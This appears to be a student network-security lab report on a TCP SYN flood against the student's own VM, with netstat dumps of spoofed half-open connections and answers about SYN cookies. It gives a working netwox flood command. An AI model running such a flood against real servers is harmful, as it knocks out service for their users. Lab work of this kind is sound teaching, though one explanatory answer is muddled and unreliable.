Activity 8 - Network Security

DoS

Preparation

The size of the queue:

```
[09/26/2022 20:16] seed@ubuntu:~$ sudo sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
```

My VM IP = `192.168.129.236`

Questions

1. What is the attacker's IP address?

192.168.129.70

2. What command did you use to run the attack?

```
sudo netwox 76 -i "192.168.129.236" -p "80"
```

3. How do you know the attack is successful?

Enter the webpage at 192.168.129.236, and find that the webpage is unable to load.

4. `netwox` performs the TCP SYN Flood attack using spoofed IP addresses. Give some examples of the spoofed IP addresses you see on the target machine.

- 81.27.201.107:17898
- 34.21.35.196:35782
- 110.30.142.141:56111
- 141.27.68.208:42297

See all in the appendix of this section.

5. In the TCP SYN Flood attack, what resource on the server side is exhausted? What is the number of resources available, and how many of those resources get used up in the attack?

The resource exhausted is memory. The amount of memory available to handle half-open connections is enough for 512 of them. All of that memory will have to be replenished for DoS to happen.

6. How do TCP SYN cookies prevent this type of attack?

From our experiment, the queue is still bombarded with requests in both cases. However, when SYN cookies is disabled, the website turns unresponsive, while the website is still up when SYN cookies is enabled.

This is because when SYN cookies is enabled, the server will drop SYN requests from the queue after responding to them. If the connection is legitimate and a final ACK is received, the server will then reconstruct the SYN backlog entry. If the connection is not legitimate, however, then nothing is received in return but the request does not clog the queue.

Appendix: Resulting Outputs

Before entering 192.168.129.236 on host browser:

```
[09/26/2022 21:16] seed@ubuntu:~$ netstat -na -4 -6
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 192.168.129.236:53      0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        1      0 192.168.129.236:48213   185.125.188.132:80      CLOSE_WAIT
tcp6       0      0 :::8080                 :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
udp        0      0 192.168.129.236:53      0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:54414           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:41492           0.0.0.0:*
udp6       0      0 :::53                   :::*
udp6       0      0 :::43682                :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::41377                :::*
```

After entering 192.168.129.236 on host browser:

```
[09/26/2022 21:17] seed@ubuntu:~$ netstat -na -4 -6
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 192.168.129.236:53      0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
```

```
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        1      0 192.168.129.236:48213   185.125.188.132:80      CLOSE_WAIT
tcp6       0      0 :::8080                 :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
tcp6       0      0 192.168.129.236:80      192.168.129.70:4763     ESTABLISHED
tcp6       0      0 192.168.129.236:80      192.168.129.70:4764     ESTABLISHED
udp        0      0 192.168.129.236:53      0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:54414           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:41492           0.0.0.0:*
udp6       0      0 :::53                   :::*
udp6       0      0 :::43682                :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::41377                :::*
```

After attack, with syncookies=1

```
[09/26/2022 21:18] seed@ubuntu:~$ netstat -na -4 -6
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 192.168.129.236:80      81.27.201.107:17898     SYN_RECV
tcp        0      0 192.168.129.236:80      196.180.175.190:59245   SYN_RECV
tcp        0      0 192.168.129.236:80      122.197.54.39:56204     SYN_RECV
tcp        0      0 192.168.129.236:80      129.93.194.158:9211     SYN_RECV
tcp        0      0 192.168.129.236:80      34.21.35.196:35782      SYN_RECV
tcp        0      0 192.168.129.236:80      58.115.12.182:29322     SYN_RECV
tcp        0      0 192.168.129.236:80      77.70.12.211:1736       SYN_RECV
tcp        0      0 192.168.129.236:80      97.119.25.134:40124     SYN_RECV
tcp        0      0 192.168.129.236:80      42.131.99.250:31145     SYN_RECV
tcp        0      0 192.168.129.236:80      160.188.31.250:55485    SYN_RECV
tcp        0      0 192.168.129.236:80      142.248.22.237:45415    SYN_RECV
tcp        0      0 192.168.129.236:80      33.12.21.163:55150      SYN_RECV
tcp        0      0 192.168.129.236:80      36.192.29.39:12865      SYN_RECV
tcp        0      0 192.168.129.236:80      209.232.127.143:1607    SYN_RECV
tcp        0      0 192.168.129.236:80      110.30.142.141:56111    SYN_RECV
tcp        0      0 192.168.129.236:80      175.178.206.229:8281    SYN_RECV
tcp        0      0 192.168.129.236:80      141.27.68.208:42297     SYN_RECV
tcp        0      0 192.168.129.236:80      54.50.114.154:12913     SYN_RECV
tcp        0      0 192.168.129.236:80      79.176.155.197:27093    SYN_RECV
tcp        0      0 192.168.129.236:80      53.105.127.3:3641       SYN_RECV
tcp        0      0 192.168.129.236:80      187.161.204.21:56442    SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      76.103.130.77:34732     SYN_RECV
tcp        0      0 192.168.129.236:80      61.62.51.50:4011        SYN_RECV
tcp        0      0 192.168.129.236:80      98.29.111.170:28486     SYN_RECV
tcp        0      0 192.168.129.236:80      240.18.49.113:64910     SYN_RECV
tcp        0      0 192.168.129.236:80      183.249.197.143:41067   SYN_RECV
tcp        0      0 192.168.129.236:80      17.205.213.143:36816    SYN_RECV
tcp        0      0 192.168.129.236:80      108.127.145.103:62617   SYN_RECV
tcp        0      0 192.168.129.236:80      118.123.28.65:57544     SYN_RECV
tcp        0      0 192.168.129.236:80      205.69.233.30:30417     SYN_RECV
tcp        0      0 192.168.129.236:80      119.116.162.202:36593   SYN_RECV
tcp        0      0 192.168.129.236:80      177.19.213.162:10281    SYN_RECV
tcp        0      0 192.168.129.236:80      42.103.115.123:1693     SYN_RECV
tcp        0      0 192.168.129.236:80      183.46.88.217:32405     SYN_RECV
tcp        0      0 192.168.129.236:80      28.136.49.170:55984     SYN_RECV
tcp        0      0 192.168.129.236:80      23.133.113.184:41013    SYN_RECV
tcp        0      0 192.168.129.236:80      120.153.148.39:2547     SYN_RECV
tcp        0      0 192.168.129.236:80      35.62.3.252:9320        SYN_RECV
tcp        0      0 192.168.129.236:80      206.11.77.36:5181       SYN_RECV
tcp        0      0 192.168.129.236:80      96.150.209.27:25889     SYN_RECV
tcp        0      0 192.168.129.236:80      104.53.57.211:54384     SYN_RECV
tcp        0      0 192.168.129.236:80      36.167.98.172:13532     SYN_RECV
tcp        0      0 192.168.129.236:80      169.109.213.78:19839    SYN_RECV
tcp        0      0 192.168.129.236:80      247.162.50.124:7258     SYN_RECV
tcp        0      0 192.168.129.236:80      78.35.165.219:18917     SYN_RECV
tcp        0      0 192.168.129.236:80      24.221.132.53:36239     SYN_RECV
tcp        0      0 192.168.129.236:80      68.132.162.112:39100    SYN_RECV
tcp        0      0 192.168.129.236:80      129.6.138.206:1293      SYN_RECV
tcp        0      0 192.168.129.236:80      76.127.4.187:15658      SYN_RECV
tcp        0      0 192.168.129.236:80      3.156.78.117:59081      SYN_RECV
tcp        0      0 192.168.129.236:80      165.167.242.179:58838   SYN_RECV
tcp        0      0 192.168.129.236:80      16.13.137.185:34319     SYN_RECV
tcp        0      0 192.168.129.236:80      6.71.187.217:62682      SYN_RECV
tcp        0      0 192.168.129.236:80      220.121.66.238:9572     SYN_RECV
tcp        0      0 192.168.129.236:80      117.24.231.130:59301    SYN_RECV
tcp        0      0 192.168.129.236:80      158.2.11.86:12924       SYN_RECV
tcp        0      0 192.168.129.236:80      34.226.1.150:12445      SYN_RECV
tcp        0      0 192.168.129.236:80      185.13.226.108:17351    SYN_RECV
tcp        0      0 192.168.129.236:80      247.30.61.76:62448      SYN_RECV
tcp        0      0 192.168.129.236:80      20.61.94.24:59833       SYN_RECV
tcp        0      0 192.168.129.236:80      40.28.95.175:53502      SYN_RECV
tcp        0      0 192.168.129.236:80      206.96.38.251:29848     SYN_RECV
tcp        0      0 192.168.129.236:80      152.51.153.241:10713    SYN_RECV
tcp        0      0 192.168.129.236:80      118.80.227.119:63260    SYN_RECV
tcp        0      0 192.168.129.236:80      153.56.236.213:7042     SYN_RECV
tcp        0      0 192.168.129.236:80      161.166.126.43:64555    SYN_RECV
tcp        0      0 192.168.129.236:80      171.113.15.65:43610     SYN_RECV
tcp        0      0 192.168.129.236:80      58.173.143.38:16927     SYN_RECV
tcp        0      0 192.168.129.236:80      123.12.54.73:21228      SYN_RECV
tcp        0      0 192.168.129.236:80      175.225.180.121:20675   SYN_RECV
tcp        0      0 192.168.129.236:80      108.249.28.185:21065    SYN_RECV
tcp        0      0 192.168.129.236:80      220.46.219.60:14234     SYN_RECV
tcp        0      0 192.168.129.236:80      170.247.106.56:25998    SYN_RECV
tcp        0      0 192.168.129.236:80      171.168.27.39:42613     SYN_RECV
tcp        0      0 192.168.129.236:80      156.2.130.13:10947      SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      62.31.196.75:63279      SYN_RECV
tcp        0      0 192.168.129.236:80      96.40.159.154:2494      SYN_RECV
tcp        0      0 192.168.129.236:80      141.42.209.252:25885    SYN_RECV
tcp        0      0 192.168.129.236:80      32.77.146.168:13908     SYN_RECV
tcp        0      0 192.168.129.236:80      251.41.162.83:15583     SYN_RECV
tcp        0      0 192.168.129.236:80      11.241.115.46:49861     SYN_RECV
tcp        0      0 192.168.129.236:80      2.228.152.205:59777     SYN_RECV
tcp        0      0 192.168.129.236:80      241.243.182.86:10810    SYN_RECV
tcp        0      0 192.168.129.236:80      254.117.204.159:47541   SYN_RECV
tcp        0      0 192.168.129.236:80      241.126.56.236:59099    SYN_RECV
tcp        0      0 192.168.129.236:80      163.67.174.94:43796     SYN_RECV
tcp        0      0 192.168.129.236:80      151.234.26.224:40675    SYN_RECV
tcp        0      0 192.168.129.236:80      74.149.221.217:32329    SYN_RECV
tcp        0      0 192.168.129.236:80      41.108.119.233:43580    SYN_RECV
tcp        0      0 192.168.129.236:80      164.215.78.247:40751    SYN_RECV
tcp        0      0 192.168.129.236:80      143.73.248.107:27388    SYN_RECV
tcp        0      0 192.168.129.236:80      91.130.244.34:41855     SYN_RECV
tcp        0      0 192.168.129.236:80      107.31.50.187:32739     SYN_RECV
tcp        0      0 192.168.129.236:80      145.56.42.148:25911     SYN_RECV
tcp        0      0 192.168.129.236:80      246.173.43.6:34795      SYN_RECV
tcp        0      0 192.168.129.236:80      24.188.91.201:29052     SYN_RECV
tcp        0      0 192.168.129.236:80      207.238.191.62:19395    SYN_RECV
tcp        0      0 192.168.129.236:80      185.101.113.213:50001   SYN_RECV
tcp        0      0 192.168.129.236:80      107.165.197.255:5764    SYN_RECV
tcp        0      0 192.168.129.236:80      22.119.229.200:38628    SYN_RECV
tcp        0      0 192.168.129.236:80      241.92.101.79:36611     SYN_RECV
tcp        0      0 192.168.129.236:80      51.244.127.9:14720      SYN_RECV
tcp        0      0 192.168.129.236:80      100.154.156.231:12030   SYN_RECV
tcp        0      0 192.168.129.236:80      75.123.157.31:2115      SYN_RECV
tcp        0      0 192.168.129.236:80      77.34.215.235:32126     SYN_RECV
tcp        0      0 192.168.129.236:80      52.109.2.117:48571      SYN_RECV
tcp        0      0 192.168.129.236:80      214.153.147.32:13408    SYN_RECV
tcp        0      0 192.168.129.236:80      100.94.79.92:46740      SYN_RECV
tcp        0      0 192.168.129.236:80      160.173.127.247:17409   SYN_RECV
tcp        0      0 192.168.129.236:80      149.144.149.139:19803   SYN_RECV
tcp        0      0 192.168.129.236:80      136.45.165.24:36049     SYN_RECV
tcp        0      0 192.168.129.236:80      150.248.203.187:2058    SYN_RECV
tcp        0      0 192.168.129.236:80      62.79.17.19:42440       SYN_RECV
tcp        0      0 192.168.129.236:80      110.47.197.228:21313    SYN_RECV
tcp        0      0 192.168.129.236:80      251.132.100.76:46715    SYN_RECV
tcp        0      0 192.168.129.236:80      133.92.220.109:23023    SYN_RECV
tcp        0      0 192.168.129.236:80      13.213.135.241:7448     SYN_RECV
tcp        0      0 192.168.129.236:80      2.59.99.29:16163        SYN_RECV
tcp        0      0 192.168.129.236:80      132.26.216.66:59409     SYN_RECV
tcp        0      0 192.168.129.236:80      14.216.7.221:22476      SYN_RECV
tcp        0      0 192.168.129.236:80      158.117.74.193:30653    SYN_RECV
tcp        0      0 192.168.129.236:80      137.160.159.215:21918   SYN_RECV
tcp        0      0 192.168.129.236:80      135.70.26.119:52786     SYN_RECV
tcp        0      0 192.168.129.236:80      145.66.119.144:3215     SYN_RECV
tcp        0      0 192.168.129.236:80      13.102.237.140:62502    SYN_RECV
tcp        0      0 192.168.129.236:80      144.49.71.53:14222      SYN_RECV
tcp        0      0 192.168.129.236:80      132.98.160.221:64770    SYN_RECV
tcp        0      0 192.168.129.236:80      132.5.247.195:29174     SYN_RECV
tcp        0      0 192.168.129.236:80      22.191.224.49:57054     SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      160.201.12.166:44952    SYN_RECV
tcp        0      0 192.168.129.236:80      223.222.132.175:45121   SYN_RECV
tcp        0      0 192.168.129.236:80      139.183.83.163:28813    SYN_RECV
tcp        0      0 192.168.129.236:80      134.28.152.141:32731    SYN_RECV
tcp        0      0 192.168.129.236:80      118.187.90.47:23403     SYN_RECV
tcp        0      0 192.168.129.236:80      144.210.0.114:38344     SYN_RECV
tcp        0      0 192.168.129.236:80      240.148.157.47:28939    SYN_RECV
tcp        0      0 192.168.129.236:80      81.119.118.151:28918    SYN_RECV
tcp        0      0 192.168.129.236:80      145.223.60.100:15119    SYN_RECV
tcp        0      0 192.168.129.236:80      195.75.76.50:32532      SYN_RECV
tcp        0      0 192.168.129.236:80      216.124.182.214:58672   SYN_RECV
tcp        0      0 192.168.129.236:80      200.45.226.181:59174    SYN_RECV
tcp        0      0 192.168.129.236:80      131.98.206.132:4679     SYN_RECV
tcp        0      0 192.168.129.236:80      112.148.165.217:17952   SYN_RECV
tcp        0      0 192.168.129.236:80      144.124.66.170:16155    SYN_RECV
tcp        0      0 192.168.129.236:80      3.87.183.165:19292      SYN_RECV
tcp        0      0 192.168.129.236:80      113.116.105.26:6248     SYN_RECV
tcp        0      0 192.168.129.236:80      85.132.87.35:15647      SYN_RECV
tcp        0      0 192.168.129.236:80      243.135.204.63:47654    SYN_RECV
tcp        0      0 192.168.129.236:80      218.158.223.143:6140    SYN_RECV
tcp        0      0 192.168.129.236:80      159.83.54.31:37624      SYN_RECV
tcp        0      0 192.168.129.236:80      110.255.39.167:54963    SYN_RECV
tcp        0      0 192.168.129.236:80      218.68.221.37:8528      SYN_RECV
tcp        0      0 192.168.129.236:80      97.171.99.196:4261      SYN_RECV
tcp        0      0 192.168.129.236:80      143.5.7.57:57563        SYN_RECV
tcp        0      0 192.168.129.236:80      63.216.78.201:35770     SYN_RECV
tcp        0      0 192.168.129.236:80      156.104.0.117:17361     SYN_RECV
tcp        0      0 192.168.129.236:80      173.142.150.46:21862    SYN_RECV
tcp        0      0 192.168.129.236:80      28.169.70.14:7458       SYN_RECV
tcp        0      0 192.168.129.236:80      65.119.209.84:22335     SYN_RECV
tcp        0      0 192.168.129.236:80      64.34.110.230:11890     SYN_RECV
tcp        0      0 192.168.129.236:80      126.98.114.138:58311    SYN_RECV
tcp        0      0 192.168.129.236:80      251.26.126.140:52460    SYN_RECV
tcp        0      0 192.168.129.236:80      82.82.29.180:62161      SYN_RECV
tcp        0      0 192.168.129.236:80      83.19.48.116:17965      SYN_RECV
tcp        0      0 192.168.129.236:80      91.245.154.173:39514    SYN_RECV
tcp        0      0 192.168.129.236:80      96.127.122.186:14661    SYN_RECV
tcp        0      0 192.168.129.236:80      221.253.169.50:16475    SYN_RECV
tcp        0      0 192.168.129.236:80      40.206.220.106:25209    SYN_RECV
tcp        0      0 192.168.129.236:80      116.74.20.147:59090     SYN_RECV
tcp        0      0 192.168.129.236:80      150.251.63.127:29670    SYN_RECV
tcp        0      0 192.168.129.236:80      246.71.190.131:3399     SYN_RECV
tcp        0      0 192.168.129.236:80      213.134.81.36:22821     SYN_RECV
tcp        0      0 192.168.129.236:80      255.179.7.232:30793     SYN_RECV
tcp        0      0 192.168.129.236:80      108.3.55.138:60810      SYN_RECV
tcp        0      0 192.168.129.236:80      245.169.155.139:52673   SYN_RECV
tcp        0      0 192.168.129.236:80      24.221.177.136:21178    SYN_RECV
tcp        0      0 192.168.129.236:80      10.60.149.49:21466      SYN_RECV
tcp        0      0 192.168.129.236:80      4.66.160.41:12934       SYN_RECV
tcp        0      0 192.168.129.236:80      47.95.211.212:11816     SYN_RECV
tcp        0      0 192.168.129.236:80      60.40.164.36:23463      SYN_RECV
tcp        0      0 192.168.129.236:80      181.168.154.235:60770   SYN_RECV
tcp        0      0 192.168.129.236:80      118.80.205.126:49097    SYN_RECV
tcp        0      0 192.168.129.236:80      251.107.159.17:30022    SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      48.9.159.243:59538      SYN_RECV
tcp        0      0 192.168.129.236:80      67.20.82.40:49606       SYN_RECV
tcp        0      0 192.168.129.236:80      86.165.12.7:16491       SYN_RECV
tcp        0      0 192.168.129.236:80      17.6.90.49:26264        SYN_RECV
tcp        0      0 192.168.129.236:80      156.225.146.189:48158   SYN_RECV
tcp        0      0 192.168.129.236:80      114.241.157.148:19651   SYN_RECV
tcp        0      0 192.168.129.236:80      195.109.25.198:27890    SYN_RECV
tcp        0      0 192.168.129.236:80      210.169.211.40:12770    SYN_RECV
tcp        0      0 192.168.129.236:80      210.129.61.92:30207     SYN_RECV
tcp        0      0 192.168.129.236:80      59.121.229.171:44378    SYN_RECV
tcp        0      0 192.168.129.236:80      184.107.44.175:34514    SYN_RECV
tcp        0      0 192.168.129.236:80      201.106.31.116:37587    SYN_RECV
tcp        0      0 192.168.129.236:80      162.251.11.249:5423     SYN_RECV
tcp        0      0 192.168.129.236:80      126.241.133.159:4935    SYN_RECV
tcp        0      0 192.168.129.236:80      189.16.25.58:64633      SYN_RECV
tcp        0      0 192.168.129.236:80      179.126.91.91:39615     SYN_RECV
tcp        0      0 192.168.129.236:80      22.73.190.108:44513     SYN_RECV
tcp        0      0 192.168.129.236:80      183.155.206.59:57049    SYN_RECV
tcp        0      0 192.168.129.236:80      154.134.40.68:11889     SYN_RECV
tcp        0      0 192.168.129.236:80      191.45.248.12:39686     SYN_RECV
tcp        0      0 192.168.129.236:80      166.147.58.40:34284     SYN_RECV
tcp        0      0 192.168.129.236:80      107.186.1.55:2714       SYN_RECV
tcp        0      0 192.168.129.236:80      195.118.193.24:32176    SYN_RECV
tcp        0      0 192.168.129.236:80      5.101.225.177:6999      SYN_RECV
tcp        0      0 192.168.129.236:80      241.175.242.2:1395      SYN_RECV
tcp        0      0 192.168.129.236:80      247.116.127.135:19510   SYN_RECV
tcp        0      0 192.168.129.236:80      80.135.87.117:65095     SYN_RECV
tcp        0      0 192.168.129.236:80      68.119.8.69:64336       SYN_RECV
tcp        0      0 192.168.129.236:80      254.148.210.44:28623    SYN_RECV
tcp        0      0 192.168.129.236:80      112.167.104.48:29147    SYN_RECV
tcp        0      0 192.168.129.236:80      41.8.183.235:16429      SYN_RECV
tcp        0      0 192.168.129.236:80      130.253.193.89:5732     SYN_RECV
tcp        0      0 192.168.129.236:80      102.254.6.23:60017      SYN_RECV
tcp        0      0 192.168.129.236:80      21.17.70.169:46012      SYN_RECV
tcp        0      0 192.168.129.236:80      174.38.177.213:2158     SYN_RECV
tcp        0      0 192.168.129.236:80      70.134.172.203:32453    SYN_RECV
tcp        0      0 192.168.129.236:80      53.59.42.212:25773      SYN_RECV
tcp        0      0 192.168.129.236:80      11.8.191.23:16355       SYN_RECV
tcp        0      0 192.168.129.236:80      77.206.70.251:25451     SYN_RECV
tcp        0      0 192.168.129.236:80      218.142.128.74:5994     SYN_RECV
tcp        0      0 192.168.129.236:80      155.204.74.87:26101     SYN_RECV
tcp        0      0 192.168.129.236:80      214.214.38.228:49117    SYN_RECV
tcp        0      0 192.168.129.236:80      43.8.142.182:26305      SYN_RECV
tcp        0      0 192.168.129.236:80      198.126.138.76:42528    SYN_RECV
tcp        0      0 192.168.129.236:80      80.32.146.85:52167      SYN_RECV
tcp        0      0 192.168.129.236:80      69.246.98.15:54999      SYN_RECV
tcp        0      0 192.168.129.236:80      115.180.36.37:42044     SYN_RECV
tcp        0      0 192.168.129.236:80      148.163.198.45:30765    SYN_RECV
tcp        0      0 192.168.129.236:80      242.15.196.183:33913    SYN_RECV
tcp        0      0 192.168.129.236:80      78.220.124.96:20879     SYN_RECV
tcp        0      0 192.168.129.236:80      90.65.108.201:30369     SYN_RECV
tcp        0      0 192.168.129.236:80      20.98.164.124:45698     SYN_RECV
tcp        0      0 192.168.129.236:80      134.133.48.49:11011     SYN_RECV
tcp        0      0 192.168.129.236:80      122.14.36.210:4544      SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      167.187.130.138:3155    SYN_RECV
tcp        0      0 192.168.129.236:80      165.87.193.145:14639    SYN_RECV
tcp        0      0 192.168.129.236:80      157.183.166.11:49381    SYN_RECV
tcp        0      0 192.168.129.236:80      254.198.6.254:56797     SYN_RECV
tcp        0      0 192.168.129.236:80      191.0.9.33:28423        SYN_RECV
tcp        0      0 192.168.129.236:80      51.124.166.83:23470     SYN_RECV
tcp        0      0 192.168.129.236:80      208.45.26.28:11996      SYN_RECV
tcp        0      0 192.168.129.236:80      91.47.224.219:10068     SYN_RECV
tcp        0      0 192.168.129.236:80      217.30.5.30:57311       SYN_RECV
tcp        0      0 192.168.129.236:80      1.246.228.181:16380     SYN_RECV
tcp        0      0 192.168.129.236:80      36.60.204.72:56529      SYN_RECV
tcp        0      0 192.168.129.236:80      136.251.232.4:63720     SYN_RECV
tcp        0      0 192.168.129.236:80      56.36.246.251:24423     SYN_RECV
tcp        0      0 192.168.129.236:80      155.237.147.224:32515   SYN_RECV
tcp        0      0 192.168.129.236:80      202.32.166.211:41714    SYN_RECV
tcp        0      0 192.168.129.236:80      213.63.178.165:36220    SYN_RECV
tcp        0      0 192.168.129.236:80      122.22.137.166:25721    SYN_RECV
tcp        0      0 192.168.129.236:80      2.217.133.80:19436      SYN_RECV
tcp        0      0 192.168.129.236:80      107.171.18.60:19054     SYN_RECV
tcp        0      0 192.168.129.236:53      0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        1      0 192.168.129.236:48213   185.125.188.132:80      CLOSE_WAIT
tcp6       0      0 :::8080                 :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
tcp6       0      0 :::443                  :::*                    LISTEN
udp        0      0 192.168.129.236:53      0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:54414           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:41492           0.0.0.0:*
udp6       0      0 :::53                   :::*
udp6       0      0 :::43682                :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::41377                :::*
```

After attack, with syncookies=0

```
[09/26/2022 21:23] seed@ubuntu:~$ netstat -na -4 -6
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
```

```
tcp        0      0 192.168.129.236:80      219.124.182.243:21180   SYN_RECV
tcp        0      0 192.168.129.236:80      153.176.88.52:53720     SYN_RECV
tcp        0      0 192.168.129.236:80      187.199.69.209:44045    SYN_RECV
tcp        0      0 192.168.129.236:80      200.38.23.254:42698     SYN_RECV
tcp        0      0 192.168.129.236:80      247.236.43.11:2521      SYN_RECV
tcp        0      0 192.168.129.236:80      175.39.150.78:56033     SYN_RECV
tcp        0      0 192.168.129.236:80      183.166.177.11:12096    SYN_RECV
tcp        0      0 192.168.129.236:80      70.131.152.214:57601    SYN_RECV
tcp        0      0 192.168.129.236:80      129.27.139.110:26292    SYN_RECV
tcp        0      0 192.168.129.236:80      245.246.172.173:6243    SYN_RECV
tcp        0      0 192.168.129.236:80      105.241.160.61:62159    SYN_RECV
tcp        0      0 192.168.129.236:80      168.93.167.1:11269      SYN_RECV
tcp        0      0 192.168.129.236:80      246.226.64.20:33995     SYN_RECV
tcp        0      0 192.168.129.236:80      155.15.4.28:9338        SYN_RECV
tcp        0      0 192.168.129.236:80      216.101.156.12:63147    SYN_RECV
tcp        0      0 192.168.129.236:80      187.15.230.247:27609    SYN_RECV
tcp        0      0 192.168.129.236:80      155.149.5.64:37911      SYN_RECV
tcp        0      0 192.168.129.236:80      64.196.195.244:54168    SYN_RECV
tcp        0      0 192.168.129.236:80      140.33.90.23:6913       SYN_RECV
tcp        0      0 192.168.129.236:80      19.219.231.248:48064    SYN_RECV
tcp        0      0 192.168.129.236:80      137.95.79.123:64425     SYN_RECV
tcp        0      0 192.168.129.236:80      119.126.75.143:25868    SYN_RECV
tcp        0      0 192.168.129.236:80      218.101.131.52:25797    SYN_RECV
tcp        0      0 192.168.129.236:80      104.248.101.214:48351   SYN_RECV
tcp        0      0 192.168.129.236:80      51.119.115.180:59389    SYN_RECV
tcp        0      0 192.168.129.236:80      64.21.102.242:5923      SYN_RECV
tcp        0      0 192.168.129.236:80      53.26.42.211:21909      SYN_RECV
tcp        0      0 192.168.129.236:80      18.110.173.177:24065    SYN_RECV
tcp        0      0 192.168.129.236:80      66.162.103.227:34292    SYN_RECV
tcp        0      0 192.168.129.236:80      123.147.81.154:13347    SYN_RECV
tcp        0      0 192.168.129.236:80      162.76.224.153:52370    SYN_RECV
tcp        0      0 192.168.129.236:80      175.190.250.61:64998    SYN_RECV
tcp        0      0 192.168.129.236:80      20.215.227.254:28201    SYN_RECV
tcp        0      0 192.168.129.236:80      175.165.88.204:52829    SYN_RECV
tcp        0      0 192.168.129.236:80      139.8.129.254:43312     SYN_RECV
tcp        0      0 192.168.129.236:80      84.76.253.219:44627     SYN_RECV
tcp        0      0 192.168.129.236:80      116.11.36.40:40847      SYN_RECV
tcp        0      0 192.168.129.236:80      91.187.113.252:64415    SYN_RECV
tcp        0      0 192.168.129.236:80      216.89.38.14:37835      SYN_RECV
tcp        0      0 192.168.129.236:80      10.7.82.218:19174       SYN_RECV
tcp        0      0 192.168.129.236:80      200.142.62.107:57154    SYN_RECV
tcp        0      0 192.168.129.236:80      74.131.3.240:29819      SYN_RECV
tcp        0      0 192.168.129.236:80      154.134.4.224:46865     SYN_RECV
tcp        0      0 192.168.129.236:80      163.164.16.201:7515     SYN_RECV
tcp        0      0 192.168.129.236:80      146.132.239.151:13071   SYN_RECV
tcp        0      0 192.168.129.236:80      101.24.226.64:28796     SYN_RECV
tcp        0      0 192.168.129.236:80      1.24.143.70:18774       SYN_RECV
tcp        0      0 192.168.129.236:80      65.122.168.175:45487    SYN_RECV
tcp        0      0 192.168.129.236:80      54.230.209.207:50355    SYN_RECV
tcp        0      0 192.168.129.236:80      163.3.38.223:55365      SYN_RECV
tcp        0      0 192.168.129.236:80      195.233.61.214:43541    SYN_RECV
tcp        0      0 192.168.129.236:80      115.62.235.65:7138      SYN_RECV
tcp        0      0 192.168.129.236:80      5.212.4.194:46497       SYN_RECV
tcp        0      0 192.168.129.236:80      185.106.203.30:24628    SYN_RECV
```

```
tcp        0      0 192.168.129.236:80      214.240.70.28:47100     SYN_RECV
